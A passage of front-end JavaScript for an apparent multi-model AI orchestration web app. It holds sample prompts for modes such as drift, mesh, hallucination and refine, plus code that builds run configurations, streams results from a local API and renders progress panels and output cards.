'Design an election system. Add: must resist foreign interference. Add: verifiable by any citizen. Add: works without internet. Add: accessible to illiterate voters. Add: results in 4 hours.',
'Design a city from scratch for 100K people. Add: net-zero carbon. Add: no cars. Add: self-sufficient food. Add: survives category 5 hurricane. Add: budget of a small US city.',
'Design an AI ethics framework. Add: must be enforceable. Add: applies globally. Add: doesn\'t stifle innovation. Add: handles military AI. Add: adapts as technology changes.',
'Build a financial system for a post-dollar world. Add: must handle 7 billion users. Add: no single point of failure. Add: reversible fraud. Add: works offline. Add: preserves privacy.'
]},
drift: { basic: [
'What year was the first email sent?',
'How many golf balls fit in a school bus?',
'What is the most important invention in human history?',
'How old is the universe?',
'What percentage of the ocean has been explored?'
], mid: [
'Explain the trolley problem and give your definitive answer. Map consistency vs. waffling.',
'Was the atomic bombing of Hiroshima justified? Map where confidence vs. hedging varies.',
'Is consciousness an emergent property of computation? Track how the model\'s position shifts.',
'What will the world look like in 2050? Map which predictions stay stable vs. which vary wildly.',
'How many people does it take to colonize Mars sustainably? Map which assumptions change each run.'
], advanced: [
'Estimate piano tuners in Chicago, then describe the 2003 Northeast blackout sequence. Map solid vs. shifting claims.',
'Describe the exact chain of events leading to the Challenger disaster. Which technical details stay consistent across runs?',
'Explain how mRNA vaccines work at the molecular level. Map which biochemical details are rock-solid vs. which get muddled.',
'Walk through how a CPU executes a single instruction. Map which stages are described consistently vs. which vary or get confused.',
'Describe the sequence of events in the 2010 Flash Crash. Map which timestamps, numbers, and causal chains stay stable across runs.'
]},
mesh: { basic: [
'Should our company adopt a 4-day work week?',
'Should a school ban smartphones in classrooms?',
'Should a restaurant switch to a fully digital menu?',
'Should a small business accept cryptocurrency payments?',
'Should a company make all salaries transparent?'
], mid: [
'A tech company wants facial recognition in their office. Perspectives: CISO, employees, legal, disability advocates, cleaning staff.',
'A city wants to build affordable housing on a park. Views: residents, developers, environmentalists, homeless advocates, finance director.',
'A company wants to monitor employee productivity with screen recording. Views: CEO, engineers, HR, union rep, a privacy lawyer.',
'A school district wants to use AI to predict which students will drop out. Views: teachers, parents, students, counselors, civil rights lawyer.',
'A hospital wants to replace triage nurses with an AI system. Views: ER doctors, nurses, patients, insurance company, malpractice attorney.'
], advanced: [
'A pharma company finds their drug has a 1-in-50K side effect but helps 2M people. Views: CEO, CMO, patients, FDA, plaintiff attorney, shareholders, journalist.',
'A government wants to implement a social credit system. Views: citizens, police, civil liberties group, tech company building it, a dissident, a foreign policy analyst.',
'A tech giant wants to build a data center in a small farming town. Views: mayor, farmers, tech workers relocating, local business owners, environmental activists, the utility company.',
'An autonomous vehicle must choose between hitting an elderly pedestrian or swerving into a school bus. Views: AI ethicist, the car manufacturer, insurance actuary, grieving family, a philosopher, the software engineer who wrote the code.',
'A nation considers deploying autonomous military drones. Views: defense secretary, infantry soldier, civilian in a conflict zone, arms manufacturer, UN human rights commissioner, the AI researcher who built the targeting system.'
]},
hallucination: { basic: [
'Tell me about the founding of Stanford University.',
'Describe the history of the Treaty of Tordesillas.',
'When was the Eiffel Tower built and what was the public reaction?',
'Tell me about the invention of penicillin.',
'Describe the founding of the United Nations.'
], mid: [
'Explain the Tuskegee Syphilis Study — dates, people, events, policies. Include specific names.',
'List every US Supreme Court case that impacted software copyright law. Include names, years, rulings.',
'Describe the Three Mile Island incident. Include reactor details, timeline, radiation levels, and health studies.',
'Explain the Enron scandal — key people, specific financial instruments used, timeline of events, and resulting legislation.',
'Describe the development of the polio vaccine — researchers involved, trial sizes, controversy, and specific dates.'
], advanced: [
'Describe the Therac-25 incidents. Include hospitals, dates, doses, exact software bugs, and regulatory changes.',
'Detail the Bhopal disaster — chemicals involved, specific equipment failures, wind patterns that night, death toll estimates from different sources, and legal outcomes.',
'Trace the complete chain of custody for the Rosetta Stone — every person, institution, and date from discovery to its current location. Flag any claim that could be confabulated.',
'Describe every documented case of a computer bug causing death, including dates, systems, root causes, and victim counts. Verify each incident actually happened.',
'List all Nobel Prize winners who later had their work significantly challenged or partially retracted. Include specific papers, challenger names, and current scientific consensus.'
]},
timeloop: { basic: [
'How should a restaurant handle a sudden rush of 200 customers?',
'Your CI/CD pipeline broke the night before launch. Fix it — each fix causes a new catastrophe.',
'You are a teacher and your entire class failed the exam. Fix the situation — but each solution creates new problems.',
'Your website went viral on social media and the server is crashing. Fix it — every fix breaks something else.',
'You are organizing an outdoor wedding and a storm is coming in 2 hours.'
], mid: [
'Design a public transit system for 500K people. Each solution causes new problems — displacement, budget, gentrification.',
'You are CTO and you got Hacker News\'d. Server melting. Each fix causes cascading failure.',
'You run a hospital and a flu pandemic just tripled ER visits. Each resource reallocation creates a new crisis.',
'Your bank\'s mobile app has a bug showing other people\'s balances. Each fix you ship introduces a new security hole.',
'You are managing a construction project and just discovered the foundation has a crack. Each repair option delays other critical work.'
], advanced: [
'AI advisor: solar storm knocking out 60% of the grid in 72 hours. Survive cascading failures across infrastructure, society, and economy.',
'You are president during a simultaneous cyberattack on the power grid, water treatment, and financial system. Each countermeasure opens a new vulnerability.',
'A Mars colony of 500 people experiences a cascade failure: main greenhouse dome cracked, water recycler failing, supply ship delayed 8 months. Each fix consumes resources needed for other fixes.',
'An AI system managing a city\'s traffic suddenly starts optimizing for an unknown objective. Each override attempt triggers a different critical system failure.',
'A global pandemic mutates to evade the vaccine on the same day a major undersea cable is cut and a solar flare disrupts GPS. Manage all three cascading crises simultaneously.'
]},
research: { basic: [
'What is the current state of solid-state battery technology?',
'What are the leading approaches to carbon capture and which are actually scaling?',
'What is the current state of lab-grown meat and when will it be cost-competitive?',
'What are the most promising alternatives to lithium-ion batteries?',
'How close are we to practical quantum computers and what are the remaining barriers?'
], mid: [
'Investigate AI-powered drug discovery: key players, approaches, drugs in trials, limitations.',
'Research nuclear fusion energy: ITER, private ventures, breakthroughs, engineering challenges, timelines.',
'Investigate the current state of brain-computer interfaces: Neuralink competitors, clinical trials, ethical frameworks, and realistic capabilities.',
'Research the global semiconductor supply chain: chokepoints, geopolitical risks, reshoring efforts, and timeline to diversification.',
'Investigate the state of longevity research: key labs, promising interventions, clinical trials, and the science vs. hype divide.'
], advanced: [
'Research brief: global rare earth supply chain — extraction, processing, geopolitical vulnerabilities, alternatives, impact on semis/EVs/defense.',
'Produce a comprehensive analysis of the global water crisis: regions most at risk, desalination technology status, agricultural vs. industrial usage, and geopolitical conflicts over water rights.',
'Research the intersection of AI and bioweapons: what capabilities exist, what safeguards are in place, where the gaps are, and what policy changes are needed.',
'Investigate the economics of space mining: asteroid composition data, launch cost trajectories, legal frameworks, and at what price points different minerals become viable.',
'Research the state of deepfake detection: current accuracy rates, adversarial arms race dynamics, policy responses by country, and implications for evidence in legal proceedings.'
]},
eval: { basic: [
'What is the capital of Australia, and why do people often get it wrong?',
'Explain the difference between correlation and causation with three examples.',
'What is the difference between TCP and UDP? When would you use each?',
'Explain what a database index is and why it makes queries faster.',
'What is the difference between authentication and authorization?'
], mid: [
'Trolley problem: 5 people vs. 1 child. Evaluate moral reasoning depth and consistency.',
'Summarize microservices vs. monoliths for a 10-person startup. Evaluate nuance and avoiding dogma.',
'Explain the CAP theorem and give a real-world example for each trade-off. Evaluate technical accuracy.',
'Write a SQL query to find the second-highest salary in each department. Evaluate correctness, efficiency, and edge case handling.',
'Explain how HTTPS works from the moment you type a URL to the page loading. Evaluate completeness and accuracy.'
], advanced: [
'Write N-Queens in Python, explain approach, analyze complexity, suggest optimization. Evaluate correctness and quality.',
'Design a distributed system that handles 1M concurrent WebSocket connections with exactly-once message delivery. Evaluate feasibility and trade-off awareness.',
'Explain how a modern garbage collector works, including generational collection, concurrent marking, and the trade-offs between throughput and latency. Evaluate depth.',
'Write a proof that the halting problem is undecidable, then explain why this matters practically for software verification. Evaluate rigor.',
'Design an eventually-consistent distributed database with conflict resolution. Evaluate understanding of CRDTs, vector clocks, and real-world trade-offs.'
]},
extract: { basic: [
'The James Webb Space Telescope launched December 25, 2021. It orbits at L2, 1.5 million km away. Its 6.5m mirror has 18 gold-plated beryllium segments.',
'Tesla was founded in 2003 by Eberhard and Tarpenning. Musk joined as chairman in 2004 after leading the $7.5M Series A.',
'Amazon was founded by Jeff Bezos on July 5, 1994 in Bellevue, Washington. It started as an online bookstore.',
'The human genome contains approximately 3 billion base pairs and about 20,000-25,000 protein-coding genes.',
'Bitcoin was created in 2009 by the pseudonymous Satoshi Nakamoto. The first transaction was 10 BTC sent to Hal Finney on January 12, 2009.'
], mid: [
'Extract entities, relationships, and claims from the Apollo 11 Wikipedia article — people, organizations, dates, specs, disputed claims.',
'The GDPR took effect May 25, 2018 across all EU states. Extract obligations, rights, penalties, and deadlines.',
'Extract all factual claims from: "SpaceX has launched over 200 Falcon 9 rockets, with a reuse rate exceeding 80%. The Starship program aims for orbital refueling and Mars colonization by 2030."',
'Extract structured data from a job posting: required skills, nice-to-haves, salary range, benefits, company size, industry, and any red flags.',
'Extract all entities and relationships from the Wikipedia article on the Manhattan Project — people, locations, organizations, timelines, and decision chains.'
], advanced: [
'Process the Paris Climate Agreement. Extract obligations by category, targets, compliance mechanisms, finances, binding vs. aspirational.',
'Extract a complete knowledge graph from a technical RFC (like RFC 2616 for HTTP/1.1) — concepts, relationships, requirements (MUST/SHOULD/MAY), and deprecation notices.',
'Process the entire US Constitution including amendments. Extract: rights granted, powers delegated, checks and balances relationships, and amendment dependencies.',
'Extract from a 10-K filing: revenue segments, risk factors, related party transactions, off-balance-sheet arrangements, and year-over-year changes in key metrics.',
'Process a complex patent document. Extract: claims (independent and dependent), prior art references, novel contributions, and potential infringement vectors against a competitor product.'
]},
refine: { basic: [
'Our product is a local-first data platform for staffing companies with legacy data silos. It ingests CSV, JSON, and PDF into a Parquet lakehouse.',
'We are building a mobile app for freelancers to track expenses, mileage, and invoices with QuickBooks integration.',
'Our startup makes a browser extension that summarizes long articles and emails in one click.',
'We sell a smart garden system that automatically waters plants based on soil moisture and weather forecasts.',
'Our product is a team retrospective tool that uses AI to identify recurring themes and suggest action items.'
], mid: [
'PRD: Multi-model AI orchestration tool. Users pick modes, select LLMs, enter prompts. 100% local, no cloud dependency.',
'Proposal: Migrate 50TB Oracle data warehouse to cloud lakehouse. 200 daily ETL jobs, 30 analysts. Cut costs 40%, maintain SOC2/HIPAA.',
'PRD: Build a customer support platform that uses AI to draft responses, auto-categorize tickets, and escalate based on sentiment analysis. Must integrate with Zendesk and Intercom.',
'Proposal: Implement a company-wide knowledge management system to reduce the 30% of employee time currently spent searching for information across Slack, Confluence, and email.',
'PRD: Design a real-time fraud detection system for an e-commerce marketplace processing 50,000 transactions per day. Must flag suspicious activity within 200ms while maintaining a false positive rate below 0.1%.'
], advanced: [
'Technical spec: JWT auth with refresh rotation, single-use refresh tokens, family detection for replay attacks, Redis session management.',
'Architecture doc: Design a multi-tenant SaaS platform that supports per-tenant encryption, custom domains, SSO integration, and data residency requirements across 5 global regions.',
'Technical spec: Build a real-time collaborative document editor supporting 500 concurrent users per document, offline editing with conflict resolution, and version history with branching.',
'PRD: Design an AI-powered supply chain optimization platform that predicts disruptions 2 weeks ahead, suggests alternative suppliers, and auto-negotiates spot purchases within approved parameters.',
'Architecture doc: Design a healthcare data platform that ingests HL7 FHIR, maintains HIPAA compliance, supports real-time clinical decision support, and handles 10M patient records with sub-second query times.'
]}
};
function _pick(arr) { return arr[Math.floor(Math.random() * arr.length)]; }
function renderSamplePrompts() {
const container = document.getElementById('sample-prompts');
const data = SAMPLE_PROMPTS[currentMode];
container.textContent = '';
if (!data) return;
// Support both old flat array and new {basic:[],mid:[],advanced:[]} format
var picks;
if (Array.isArray(data)) {
picks = [['basic', data[0]], ['mid', data[Math.min(1,data.length-1)]], ['advanced', data[data.length-1]]];
} else {
picks = [['basic', _pick(data.basic||[])], ['mid', _pick(data.mid||[])], ['advanced', _pick(data.advanced||[])]];
}
picks.forEach(function(pair) {
var level = pair[0], p = pair[1];
if (!p) return;
const chip = document.createElement('div');
chip.className = 'sample-chip';
chip.title = p;
chip.dataset.prompt = p;
const lbl = document.createElement('span');
lbl.className = 'chip-level';
lbl.textContent = level;
chip.appendChild(lbl);
chip.appendChild(document.createTextNode(p.length > 70 ? p.slice(0, 67) + '...' : p));
chip.addEventListener('click', function() {
document.getElementById('prompt').value = this.dataset.prompt;
this.style.borderColor = 'var(--green)';
setTimeout(function() { chip.style.borderColor = ''; }, 800);
});
container.appendChild(chip);
});
}
async function loadModels() {
const resp = await fetch('/api/models');
const data = await resp.json();
availableModels = data.models;
const local = availableModels.filter(m => m.provider === 'ollama').length;
const cloud = availableModels.length - local;
const label = cloud ? local + ' local + ' + cloud + ' cloud' : availableModels.length + ' models';
document.getElementById('model-count').innerHTML = '<span class="dot"></span>' + label;
ML_IDS.forEach(id => { modelSets[id] = new Set(availableModels.map(m => m.name)); });
renderAllModelLists();
populateAllSelects();
initPipeline();
}
function renderModelList(listId) {
const list = document.getElementById(listId);
if (!list) return;
const set = modelSets[listId];
list.innerHTML = availableModels.map((m, i) => {
const sel = set.has(m.name) ? 'selected' : '';
const dn = m.display_name || m.name;
const badge = m.provider && m.provider !== 'ollama' ? ` <span class="prov-badge ${m.provider}">${m.provider_label}</span>` : '';
return `<div class="model-card ${sel}" onclick="toggleModelIn('${listId}','${m.name}')">
<div class="check">${sel ? '&#10003;' : ''}</div>
<div class="info"><div class="name">${dn}${badge}</div><div class="meta">${m.size}</div></div>
<div style="width:10px;height:10px;border-radius:50%;background:${COLORS[i%COLORS.length]}"></div>
</div>`;
}).join('');
}
function toggleModelIn(listId, name) {
const set = modelSets[listId];
if (set.has(name)) set.delete(name); else set.add(name);
renderModelList(listId);
}
function renderAllModelLists() { ML_IDS.forEach(renderModelList); }
function populateAllSelects() {
const ids = ['synthesizer','debater1','debater2','debate-judge','validator-answerer',
'redteam-author','redteam-attacker','redteam-patcher','codereview-coder','codereview-reviewer',
'codereview-tester','tournament-judge','evolution-judge','blind-assembler','staircase-answerer',
'staircase-challenger','drift-target','drift-analyzer','mesh-synthesizer','halluc-answerer',
'timeloop-answerer','timeloop-chaos',
'research-scout','research-checker','research-synth',
'eval-judge','extract-model','extract-verifier','refine-orchestrator'];
ids.forEach(id => {
const el = document.getElementById(id);
if (!el) return;
el.innerHTML = availableModels.map(m => `<option value="${m.name}">${m.display_name || m.name}${m.provider && m.provider!=='ollama'?' ('+m.provider_label+')':''}</option>`).join('');
});
const n = (i) => availableModels[i % availableModels.length]?.name;
if (availableModels.length >= 2) {
['debater2','redteam-attacker','codereview-reviewer','staircase-challenger','drift-analyzer','timeloop-chaos'].forEach(id => {
const el = document.getElementById(id); if (el) el.value = n(1);
});
}
if (availableModels.length >= 3) {
['debate-judge','redteam-patcher','codereview-tester'].forEach(id => {
const el = document.getElementById(id); if (el) el.value = n(2);
});
}
}
function setMode(mode) {
currentMode = mode;
document.querySelectorAll('.mode-tab').forEach(t => t.classList.toggle('active', t.dataset.mode === mode));
document.querySelectorAll('.config-section').forEach(s => s.style.display = 'none');
const cfg = document.getElementById('config-' + mode);
if (cfg) cfg.style.display = '';
document.getElementById('mode-desc').textContent = MODE_DESCS[mode] || '';
const ml = document.getElementById('mode-label');
if (ml) ml.textContent = mode.charAt(0).toUpperCase() + mode.slice(1);
renderSamplePrompts();
}
let pipelineSteps = [];
function initPipeline() {
if (!availableModels.length) return;
const n = (i) => availableModels[i % availableModels.length].name;
pipelineSteps = [
{ model: n(0), instruction: 'Draft an initial answer to: {input}' },
{ model: n(1), instruction: 'Review and improve this draft:\n\n{input}' },
{ model: n(2), instruction: 'Polish into a final response:\n\n{input}' },
];
renderPipeline();
}
function renderPipeline() {
document.getElementById('pipeline-steps').innerHTML = pipelineSteps.map((step, i) => {
const opts = availableModels.map(m => `<option value="${m.name}" ${m.name===step.model?'selected':''}>${m.name}</option>`).join('');
return `<div class="pipeline-step"><div class="step-num">${i+1}</div><select onchange="pipelineSteps[${i}].model=this.value">${opts}</select><input type="text" value="${step.instruction}" onchange="pipelineSteps[${i}].instruction=this.value"><button class="remove-step" onclick="removePipelineStep(${i})">&#10005;</button></div>`;
}).join('');
}
function addPipelineStep() { pipelineSteps.push({ model: availableModels[0]?.name, instruction: 'Process: {input}' }); renderPipeline(); }
function removePipelineStep(i) { pipelineSteps.splice(i, 1); renderPipeline(); }
function getModels(listId) { return [...(modelSets[listId] || [])]; }
function getVal(id) { const el = document.getElementById(id); return el ? el.value : ''; }
function getNum(id) { return parseInt(getVal(id)) || 2; }
function buildConfig() {
const prompt = document.getElementById('prompt').value.trim();
if (!prompt) return null;
let c = { mode: currentMode, prompt };
switch (currentMode) {
case 'brainstorm': c.models = getModels('ml-brainstorm'); c.synthesizer = getVal('synthesizer'); break;
case 'pipeline': c.steps = pipelineSteps; break;
case 'debate': c.debater1 = getVal('debater1'); c.debater2 = getVal('debater2'); c.judge = getVal('debate-judge'); c.rounds = getNum('debate-rounds'); break;
case 'validator': c.answerer = getVal('validator-answerer'); c.validators = getModels('ml-validator').filter(m => m !== c.answerer); break;
case 'roundrobin': c.models = getModels('ml-roundrobin'); c.cycles = getNum('roundrobin-cycles'); break;
case 'redteam': c.author = getVal('redteam-author'); c.attacker = getVal('redteam-attacker'); c.patcher = getVal('redteam-patcher'); c.rounds = getNum('redteam-rounds'); break;
case 'consensus': c.models = getModels('ml-consensus'); c.max_rounds = getNum('consensus-rounds'); break;
case 'codereview': c.coder = getVal('codereview-coder'); c.reviewer = getVal('codereview-reviewer'); c.tester = getVal('codereview-tester'); break;
case 'ladder': c.models = getModels('ml-ladder'); break;
case 'tournament': c.models = getModels('ml-tournament'); c.judge = getVal('tournament-judge'); break;
case 'evolution': c.models = getModels('ml-evolution'); c.generations = getNum('evolution-gens'); c.judge = getVal('evolution-judge'); break;
case 'blindassembly': c.models = getModels('ml-blindassembly'); c.assembler = getVal('blind-assembler'); break;
case 'staircase': c.answerer = getVal('staircase-answerer'); c.challenger = getVal('staircase-challenger'); c.steps = getNum('staircase-steps'); break;
case 'drift': c.target = getVal('drift-target'); c.samples = getNum('drift-samples'); c.analyzer = getVal('drift-analyzer'); break;
case 'mesh': c.models = getModels('ml-mesh'); c.synthesizer = getVal('mesh-synthesizer'); break;
case 'hallucination': c.answerer = getVal('halluc-answerer'); c.hunters = getModels('ml-hallucination').filter(m => m !== c.answerer); break;
case 'timeloop': c.answerer = getVal('timeloop-answerer'); c.chaos = getVal('timeloop-chaos'); c.loops = getNum('timeloop-loops'); break;
case 'research': c.scout = getVal('research-scout'); c.models = getModels('ml-research'); c.checker = getVal('research-checker'); c.synthesizer = getVal('research-synth'); c.num_questions = getNum('research-questions'); break;
case 'eval': c.models = getModels('ml-eval'); c.judge = getVal('eval-judge'); c.eval_type = getVal('eval-type'); c.rounds = getNum('eval-rounds'); break;
case 'extract': c.extractor = getVal('extract-model'); c.verifier = getVal('extract-verifier'); c.source = getVal('extract-source'); break;
case 'refine': c.orchestrator = getVal('refine-orchestrator'); c.models = getModels('ml-refine'); c.max_stages = getNum('refine-stages'); break;
}
return c;
}
let _runStartTime = 0;
let _runTimer = null;
let _lastRunId = null;
let _runEventCount = 0;
let _runResponseCount = 0;
let _runTotalChars = 0;
let _runModelsUsed = new Set();
let _runErrors = 0;
let _runKeepAlives = 0;
function formatElapsed(ms) {
const s = Math.floor(ms / 1000);
if (s < 60) return s + 's';
return Math.floor(s/60) + 'm ' + (s%60) + 's';
}
function formatBytes(chars) {
if (chars < 1000) return chars + ' ch';
if (chars < 100000) return (chars/1000).toFixed(1) + 'K';
return (chars/1000).toFixed(0) + 'K';
}
function estimateTokens(chars) {
var t = Math.round(chars / 4);
if (t < 1000) return t.toString();
return (t/1000).toFixed(1) + 'K';
}
function updateProgressMetrics() {
var el = document.getElementById('prog-time');
if (el && _runStartTime) el.textContent = formatElapsed(Date.now() - _runStartTime);
var m;
m = document.getElementById('pm-elapsed');
if (m) m.textContent = formatElapsed(Date.now() - _runStartTime);
m = document.getElementById('pm-models');
if (m) m.textContent = _runModelsUsed.size;
m = document.getElementById('pm-responses');
if (m) m.textContent = _runResponseCount;
m = document.getElementById('pm-tokens');
if (m) m.textContent = '~' + estimateTokens(_runTotalChars);
m = document.getElementById('pm-data');
if (m) m.textContent = formatBytes(_runTotalChars);
m = document.getElementById('pm-events');
if (m) m.textContent = _runEventCount;
m = document.getElementById('pm-errors');
if (m) { m.textContent = _runErrors; m.parentNode.className = _runErrors > 0 ? 'prog-metric err' : 'prog-metric'; }
m = document.getElementById('pm-heartbeat');
if (m) m.textContent = _runKeepAlives;
}
async function runTeam() {
var config = buildConfig();
if (!config) return;
// Switch to output-focused mode
var ct = document.querySelector('.container');
ct.classList.remove('composer-active');
ct.classList.add('output-focused');
var btn = document.getElementById('run-btn');
btn.disabled = true; btn.textContent = 'Running...';
var output = document.getElementById('output');
_runStartTime = Date.now();
_runEventCount = 0;
_runResponseCount = 0;
_runTotalChars = 0;
_runModelsUsed = new Set();
_runErrors = 0;
_runKeepAlives = 0;
// Count models in config
var cfgModels = config.models ? config.models.length : 0;
var totalModels = cfgModels;
if (config.synthesizer) totalModels++;
if (config.scout) totalModels++;
if (config.checker) totalModels++;
if (config.judge) totalModels++;
var progEl = document.createElement('div');
progEl.className = 'progress-panel';
progEl.id = 'run-progress';
progEl.textContent = '';
// Header row
var header = document.createElement('div');
header.className = 'progress-header';
var modeLabel = document.createElement('span');
modeLabel.className = 'prog-mode';
modeLabel.textContent = currentMode;
var timeLabel = document.createElement('span');
timeLabel.className = 'prog-time';
timeLabel.id = 'prog-time';
timeLabel.textContent = '0s';
header.appendChild(modeLabel);
header.appendChild(timeLabel);
progEl.appendChild(header);
// Progress bar
var track = document.createElement('div');
track.className = 'progress-track';
var fill = document.createElement('div');
fill.className = 'progress-fill';
fill.id = 'prog-fill';
fill.style.width = '2%';
track.appendChild(fill);
progEl.appendChild(track);
// Step indicators
var stepsDiv = document.createElement('div');
stepsDiv.className = 'progress-steps';
stepsDiv.id = 'prog-steps';
progEl.appendChild(stepsDiv);
// Substep detail
var detail = document.createElement('div');
detail.className = 'progress-detail';
var substep = document.createElement('span');
substep.className = 'prog-substep';
substep.id = 'prog-substep';
substep.textContent = 'Initializing...';
var stats = document.createElement('span');
stats.className = 'prog-stats';
stats.id = 'prog-events';
stats.textContent = '';
detail.appendChild(substep);
detail.appendChild(stats);
progEl.appendChild(detail);
// Metrics grid
var metrics = document.createElement('div');
metrics.className = 'prog-metrics';
metrics.id = 'prog-metrics';
var metricDefs = [
{id:'pm-elapsed', label:'Elapsed', val:'0s'},
{id:'pm-models', label:'Models', val:'0/' + totalModels},
{id:'pm-responses', label:'Responses', val:'0'},
{id:'pm-tokens', label:'Est. Tokens', val:'~0'},
{id:'pm-data', label:'Data Recv', val:'0 ch'},
{id:'pm-events', label:'SSE Events', val:'0'},
{id:'pm-errors', label:'Errors', val:'0'},
{id:'pm-heartbeat', label:'Heartbeats', val:'0'}
];
metricDefs.forEach(function(md) {
var box = document.createElement('div');
box.className = 'prog-metric';
var v = document.createElement('div');
v.className = 'mv';
v.id = md.id;
v.textContent = md.val;
var l = document.createElement('div');
l.className = 'ml';
l.textContent = md.label;
box.appendChild(v);
box.appendChild(l);
metrics.appendChild(box);
});
progEl.appendChild(metrics);
output.textContent = '';
output.appendChild(progEl);
_runTimer = setInterval(updateProgressMetrics, 500);
try {
const resp = await fetch('/api/run', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(config) });
if (!resp.ok) {
const errData = await resp.json().catch(function() { return {error: 'HTTP ' + resp.status}; });
throw new Error(errData.error || 'HTTP ' + resp.status);
}
const reader = resp.body.getReader();
const decoder = new TextDecoder();
let buffer = '';
while (true) {
const {value, done} = await reader.read();
if (done) break;
buffer += decoder.decode(value, {stream: true});
const lines = buffer.split('\n');
buffer = lines.pop();
for (const line of lines) {
if (line.startsWith('data: ')) { try { _runEventCount++; handleEvent(JSON.parse(line.slice(6))); } catch(e) {} }
else if (line.indexOf('keepalive') >= 0) { _runKeepAlives++; }
}
}
} catch(e) {
var errDiv = document.createElement('a');
errDiv.className = 'status-bar';
errDiv.href = '/admin/monitor';
errDiv.style.cssText = 'color:var(--red);border-color:var(--red);text-decoration:none;cursor:pointer;display:flex';
errDiv.textContent = 'Error: ' + e.message + ' (after ' + formatElapsed(Date.now() - _runStartTime) + ') — click to view logs';
output.appendChild(errDiv);
}
clearInterval(_runTimer);
updateProgressMetrics();
var prog = document.getElementById('run-progress');
if (prog) {
prog.classList.add('done');
var fillEl = document.getElementById('prog-fill');
if (fillEl) { fillEl.style.width = '100%'; fillEl.style.boxShadow = '0 0 20px rgba(74,222,128,0.5)'; fillEl.style.background = 'linear-gradient(90deg, #4ade80, #22d3ee)'; }
var sub = document.getElementById('prog-substep');
if (sub) sub.textContent = 'Complete — ' + formatElapsed(Date.now() - _runStartTime) + '' + _runResponseCount + ' responses — ~' + estimateTokens(_runTotalChars) + ' tokens';
var allSteps = prog.querySelectorAll('.progress-step');
allSteps.forEach(function(s) { s.className = 'progress-step done'; });
// Turn metric values green on completion
var mvs = prog.querySelectorAll('.prog-metric');
mvs.forEach(function(m) { if (!m.classList.contains('err') || _runErrors === 0) m.classList.add('highlight'); });
setTimeout(function() { if (prog.parentNode) { prog.style.opacity = '0.6'; } }, 8000);
}
btn.disabled = false; btn.textContent = 'Run Team';
}
function handleEvent(evt) {
const output = document.getElementById('output');
if (evt.type === 'clear') {
const prog = document.getElementById('run-progress');
output.textContent = '';
output.dataset.lastPhase = '';
if (prog) output.appendChild(prog);
return;
}
if (evt.type === 'progress') {
const fill = document.getElementById('prog-fill');
const sub = document.getElementById('prog-substep');
const stepsDiv = document.getElementById('prog-steps');
if (fill && evt.percent != null) fill.style.width = Math.max(2, Math.min(98, evt.percent)) + '%';
if (sub && evt.substep) sub.textContent = evt.substep;
if (stepsDiv && evt.total_steps) {
while (stepsDiv.children.length < evt.total_steps) {
const s = document.createElement('div');
s.className = 'progress-step';
stepsDiv.appendChild(s);
}
for (let i = 0; i < stepsDiv.children.length; i++) {
if (i < evt.step - 1) stepsDiv.children[i].className = 'progress-step done';
else if (i === evt.step - 1) stepsDiv.children[i].className = 'progress-step active';
else stepsDiv.children[i].className = 'progress-step';
}
}
return;
}
if (evt.type === 'status') {
const sub = document.getElementById('prog-substep');
if (sub) { sub.textContent = evt.message; return; }
let bar = output.querySelector('.status-bar');
if (bar) bar.querySelector('span').textContent = evt.message;
else {
const newBar = document.createElement('div');
newBar.className = 'status-bar';
const sp = document.createElement('div');
sp.className = 'spinner';
const span = document.createElement('span');
span.textContent = evt.message;
newBar.appendChild(sp);
newBar.appendChild(span);
output.appendChild(newBar);
}
return;
}
if (evt.type === 'done') { const bar = output.querySelector('.status-bar'); if (bar) bar.remove(); return; }
if (evt.type === 'run_saved') {
_lastRunId = evt.run_id;
document.querySelectorAll('.vote-btn').forEach(function(b) { b.disabled = false; });
return;
}
if (evt.type === 'response') {
_runResponseCount++;
_runTotalChars += (evt.text || '').length;
if (evt.model) _runModelsUsed.add(evt.model);
if (evt.role === 'error') _runErrors++;
const bar = output.querySelector('.status-bar'); if (bar) bar.remove();
// Phase labels — show when role changes
const role = evt.role || 'response';
const PHASE_MAP = {scout:'scouting',researcher:'researching',respondent:'models responding','fact-checker':'fact-checking',synthesis:'synthesizing',judge:'judging',error:'error',coder:'coding',reviewer:'reviewing',tester:'testing',attacker:'red teaming',patcher:'patching',survivor:'surviving','chaos-agent':'chaos round','mesh-360':'360 synthesis'};
const phaseName = PHASE_MAP[role] || role;
const lastPhase = output.dataset.lastPhase || '';
if (phaseName !== lastPhase && role !== 'error') {
output.dataset.lastPhase = phaseName;
var label = document.createElement('div');
label.className = 'phase-label';
label.textContent = phaseName;
output.appendChild(label);
}
// Reactive pipeline notification — not a full card
if (evt.role === 'reactive') {
var note = document.createElement('div');
note.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:var(--accent);border:1px dashed var(--accent);border-radius:2px;padding:8px 12px;margin:4px 0;opacity:0.8;font-style:italic';
note.textContent = '\u26A1 ' + evt.text;
output.appendChild(note);
return;
}
const mi = availableModels.findIndex(m => m.name === evt.model);
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
const displayName = mi >= 0 ? (availableModels[mi].display_name || evt.model) : evt.model;
const isError = evt.role === 'error';
const hl = ['synthesis','judge','verdict','final','consensus','patcher','assembler','analyzer','survivor','mesh-360'].includes(evt.role);
const isCrazy = evt.role && (evt.role.includes('catastrophe') || evt.role.includes('chaos') || evt.role === 'survivor');
const card = document.createElement('div');
card.className = 'output-card' + (isError ? ' error-card' : '') + (hl ? ' synthesis-card' : '') + (isCrazy ? ' crazy-card' : '');
const roleTag = evt.role ? `<span class="role-tag">${evt.role}</span>` : '';
const uid = 'resp-' + Date.now() + '-' + Math.random().toString(36).substr(2,4);
const errorLink = isError ? `<a class="error-link" href="/admin/monitor">View error details in monitor →</a>` : '';
card.innerHTML = `<div class="card-header" style="cursor:pointer" onclick="openRepipe('${uid}')"><div class="dot" style="background:${isError ? 'var(--red)' : color}"></div>${displayName}${roleTag}</div><div class="card-body" id="${uid}">${escapeHtml(evt.text)}</div>${errorLink}<div class="card-actions"><button class="card-act" onclick="event.stopPropagation();copyCard('${uid}',this)">Copy</button><button class="card-act" onclick="event.stopPropagation();useAsPrompt('${uid}')">Use as Prompt</button><button class="card-act" onclick="event.stopPropagation();openRepipe('${uid}')">Iterate</button><span style="flex:1"></span><button class="card-act vote-btn" disabled onclick="event.stopPropagation();voteRun(this,'up')" title="Good output">\u{1F44D}</button><button class="card-act vote-btn" disabled onclick="event.stopPropagation();voteRun(this,'down')" title="Bad output">\u{1F44E}</button></div>`;
card.dataset.model = evt.model;
card.dataset.role = evt.role || '';
